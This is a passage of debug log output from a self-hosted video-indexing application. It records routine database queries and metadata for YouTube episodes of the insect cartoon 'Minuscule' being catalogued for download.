159, "title" => "youtube video #LGDQ8FrUBvg"} 22:15:02.744 [debug] QUERY OK source="sources" db=0.4ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:02.744 [debug] Current batch of media processed. Will check again in 1000ms 22:15:03.745 [debug] Current batch of media processed. Will check again in 1000ms 22:15:04.746 [debug] Current batch of media processed. Will check again in 1000ms 22:15:05.747 [debug] Current batch of media processed. Will check again in 1000ms 22:15:06.748 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.25, "description" => "Join Minuscule on Facebook and Instagram :\n Facebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n\nMinuscule - C'est Noël / Come Christmas - ABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 463, "filename" => "/downloads/Miniscule Season 2/2017-12-24 Minuscule - C'est Noël ⧸ Come Christmas (Season 1)/Minuscule - C'est Noël ⧸ Come Christmas (Season 1) [wjiQFluWuv0].mp4", "id" => "wjiQFluWuv0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wjiQFluWuv0", "playlist_index" => 160, "timestamp" => 1514127604, "title" => "Minuscule - C'est Noël / Come Christmas (Season 1)", "upload_date" => "20171224"} 22:15:06.749 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1577.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:06.750 [debug] QUERY OK source="sources" db=0.3ms idle=1578.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:06.751 [debug] QUERY OK source="media_items" db=1.0ms idle=1207.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-12-24 15:00:04Z], 5] 22:15:06.760 [debug] QUERY OK source="media_items" db=7.6ms idle=580.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join Minuscule on Facebook and Instagram :\n Facebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n\nMinuscule - C'est Noël / Come Christmas - ABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - C'est Noël / Come Christmas (Season 1)", "ea7c87b4-a436-409c-82e6-0dd5987ba811", "wjiQFluWuv0", 463, false, 5, "https://www.youtube.com/watch?v=wjiQFluWuv0", 160, "/downloads/Miniscule Season 2/2017-12-24 Minuscule - C'est Noël ⧸ Come Christmas (Season 1)/Minuscule - C'est Noël ⧸ Come Christmas (Season 1) [wjiQFluWuv0].mp4", false, false, false, [], 1, ~U[2017-12-24 15:00:04Z], ~U[2025-12-12 05:15:06Z], ~U[2025-12-12 05:15:06Z], "Join Minuscule on Facebook and Instagram :\n Facebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n\nMinuscule - C'est Noël / Come Christmas - ABONNEZ-VOUS ICI / SUBSCRIBE HERE : \nhttp://bit.ly/1cPzvQP\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - C'est Noël / Come Christmas (Season 1)", "wjiQFluWuv0", 463, false, 5, "https://www.youtube.com/watch?v=wjiQFluWuv0", "/downloads/Miniscule Season 2/2017-12-24 Minuscule - C'est Noël ⧸ Come Christmas (Season 1)/Minuscule - C'est Noël ⧸ Come Christmas (Season 1) [wjiQFluWuv0].mp4", false, ~U[2017-12-24 15:00:04Z]] 22:15:06.760 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=216.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:06.761 [debug] QUERY OK source="media_profiles" db=0.4ms idle=11.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:06.762 [debug] QUERY OK source="media_items" db=0.5ms idle=11.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89206] 22:15:06.763 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #mH6kReHiCeY/youtube video #mH6kReHiCeY [mH6kReHiCeY].NA", "id" => "mH6kReHiCeY", "original_url" => "https://www.youtube.com/watch?v=mH6kReHiCeY", "playlist_index" => 161, "title" => "youtube video #mH6kReHiCeY"} 22:15:06.763 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=11.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:06.764 [debug] Current batch of media processed. Will check again in 1000ms 22:15:07.765 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #KvULGqXfofY/youtube video #KvULGqXfofY [KvULGqXfofY].NA", "id" => "KvULGqXfofY", "original_url" => "https://www.youtube.com/watch?v=KvULGqXfofY", "playlist_index" => 162, "title" => "youtube video #KvULGqXfofY"} 22:15:07.766 [debug] QUERY OK source="sources" db=0.4ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:07.766 [debug] Current batch of media processed. Will check again in 1000ms 22:15:08.767 [debug] Current batch of media processed. Will check again in 1000ms 22:15:09.768 [debug] Current batch of media processed. Will check again in 1000ms 22:15:10.769 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.25, "description" => "Join Minuscule on Facebook and Instagram:\nFacebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE: \nhttp://bit.ly/1cPzvQP\n\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 443, "filename" => "/downloads/Miniscule Season 2/2017-07-19 Minuscule - Bananes ⧸ Bananas (Season 1)/Minuscule - Bananes ⧸ Bananas (Season 1) [_NY3vidqHpo].mp4", "id" => "_NY3vidqHpo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_NY3vidqHpo", "playlist_index" => 163, "timestamp" => 1500476405, "title" => "Minuscule - Bananes / Bananas (Season 1)", "upload_date" => "20170719"} 22:15:10.770 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1219.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:10.771 [debug] QUERY OK source="sources" db=0.5ms idle=599.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:10.772 [debug] QUERY OK source="media_items" db=1.1ms idle=600.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-07-19 15:00:05Z], 5] 22:15:10.776 [debug] QUERY OK source="media_items" db=2.2ms idle=602.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join Minuscule on Facebook and Instagram:\nFacebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE: \nhttp://bit.ly/1cPzvQP\n\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bananes / Bananas (Season 1)", "a60dad8f-db05-4fd3-b4c5-46778e5727c5", "_NY3vidqHpo", 443, false, 5, "https://www.youtube.com/watch?v=_NY3vidqHpo", 163, "/downloads/Miniscule Season 2/2017-07-19 Minuscule - Bananes ⧸ Bananas (Season 1)/Minuscule - Bananes ⧸ Bananas (Season 1) [_NY3vidqHpo].mp4", false, false, false, [], 1, ~U[2017-07-19 15:00:05Z], ~U[2025-12-12 05:15:10Z], ~U[2025-12-12 05:15:10Z], "Join Minuscule on Facebook and Instagram:\nFacebook: https://www.facebook.com/minusculefilm/\nInstagram: https://www.instagram.com/minuscule.officiel/\n--\nABONNEZ-VOUS ICI / SUBSCRIBE HERE: \nhttp://bit.ly/1cPzvQP\n\n\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bananes / Bananas (Season 1)", "_NY3vidqHpo", 443, false, 5, "https://www.youtube.com/watch?v=_NY3vidqHpo", "/downloads/Miniscule Season 2/2017-07-19 Minuscule - Bananes ⧸ Bananas (Season 1)/Minuscule - Bananes ⧸ Bananas (Season 1) [_NY3vidqHpo].mp4", false, ~U[2017-07-19 15:00:05Z]] 22:15:10.776 [debug] QUERY OK source="sources" db=0.4ms idle=224.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:10.777 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:15:10.778 [debug] QUERY OK source="media_items" db=0.6ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89207] 22:15:10.778 [debug] Current batch of media processed. Will check again in 1000ms 22:15:11.780 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #IBx7uY0Uixs/youtube video #IBx7uY0Uixs [IBx7uY0Uixs].NA", "id" => "IBx7uY0Uixs", "original_url" => "https://www.youtube.com/watch?v=IBx7uY0Uixs", "playlist_index" => 164, "title" => "youtube video #IBx7uY0Uixs"} 22:15:11.781 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:11.781 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #UTlCRQaYUDA/youtube video #UTlCRQaYUDA [UTlCRQaYUDA].NA", "id" => "UTlCRQaYUDA", "original_url" => "https://www.youtube.com/watch?v=UTlCRQaYUDA", "playlist_index" => 165, "title" => "youtube video #UTlCRQaYUDA"} 22:15:11.782 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:11.782 [debug] Current batch of media processed. Will check again in 1000ms 22:15:12.784 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #YIE2ozEAeH0/youtube video #YIE2ozEAeH0 [YIE2ozEAeH0].NA", "id" => "YIE2ozEAeH0", "original_url" => "https://www.youtube.com/watch?v=YIE2ozEAeH0", "playlist_index" => 166, "title" => "youtube video #YIE2ozEAeH0"} 22:15:12.785 [debug] QUERY OK source="sources" db=0.3ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:12.785 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #LpEiT6F8cPc/youtube video #LpEiT6F8cPc [LpEiT6F8cPc].NA", "id" => "LpEiT6F8cPc", "original_url" => "https://www.youtube.com/watch?v=LpEiT6F8cPc", "playlist_index" => 167, "title" => "youtube video #LpEiT6F8cPc"} 22:15:12.786 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:12.786 [debug] Current batch of media processed. Will check again in 1000ms 22:15:13.787 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #ceYwnOTGxiM/youtube video #ceYwnOTGxiM [ceYwnOTGxiM].NA", "id" => "ceYwnOTGxiM", "original_url" => "https://www.youtube.com/watch?v=ceYwnOTGxiM", "playlist_index" => 168, "title" => "youtube video #ceYwnOTGxiM"} 22:15:13.788 [debug] QUERY OK source="sources" db=0.3ms idle=1616.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:15:13.788 [debug] Current batch of media processed. Will check again in 1000ms 22:15:14.789 [debug] Current batch of media processed. Will check again in 1000ms 22:15:15.790 [debug] Current batch of media processed. Will check again in 1000ms 22:15:16.791 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 290, "filename" => "/downloads/Miniscule Season 2/2016-08-30 Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2)/Minuscule - Go blue go! ⧸ Allez les bleus! (Season 2) [5Yx-ZghdZJ0].mp4", "id" => "5Yx-ZghdZJ0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5Yx-ZghdZJ0", "playlist_index" => 169, "timestamp" => 1472566451, "title" => "Minuscule - Go blue go! / Allez les bleus! (Season 2)", "upload_date" => "20160830"} 22:15:16.792 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1229.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 